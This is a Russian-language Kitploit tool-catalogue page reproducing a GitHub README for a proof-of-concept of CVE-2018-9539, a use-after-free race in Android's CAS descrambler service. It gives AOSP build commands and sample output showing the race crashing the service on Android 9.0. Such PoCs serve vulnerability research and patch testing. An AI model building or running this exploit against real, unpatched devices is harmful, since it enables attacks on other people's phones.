Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-9539 — PoC-код для CVE-2018-9539 | Kitploit
Инструменты/GitHubGitHub/tamirzb/cve-2018-9539
Безопасность AndroidАнализ уязвимостейЭксплуатацияМобильная безопасностьЭксплуатация Бинарных Файлов
GitHubtamirzb/cve-2018-9539

CVE-2018-9539

PoC-код для CVE-2018-9539

Репозиторий
2097 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-9539

Код proof-of-concept для CVE-2018-9539

Если у вас есть вопросы, можете написать мне в Twitter (@tamir_zb).

Сборка

Чтобы собрать это:

  1. Загрузите исходный код Android.
  2. Поместите этот репозиторий в AOSP/external.
  3. Выполните следующие команды:
root@kitploit:~
cd AOSP
source build/envsetup.sh
make cas_race_uaf

Результат

Запуск этого PoC на незапатченной версии Android (8.1–9.0 до ноября 2018) должен привести к use-after-free. Обратите внимание, что этот PoC не предназначен для работы на Android 8.1, так как он ожидает, что UaF приведет к сбою сервиса, что происходит только в Android 9.0; поэтому запуск этого PoC на Android 8.1 приведет к бесконечному циклу.

Вот пример вывода при запуске этого PoC на Android 9.0:

root@kitploit:~
Objects prepared

Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...

Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...

...
...
...

Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...

Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)

Succeeded in 205 attempts
Скачать инструмент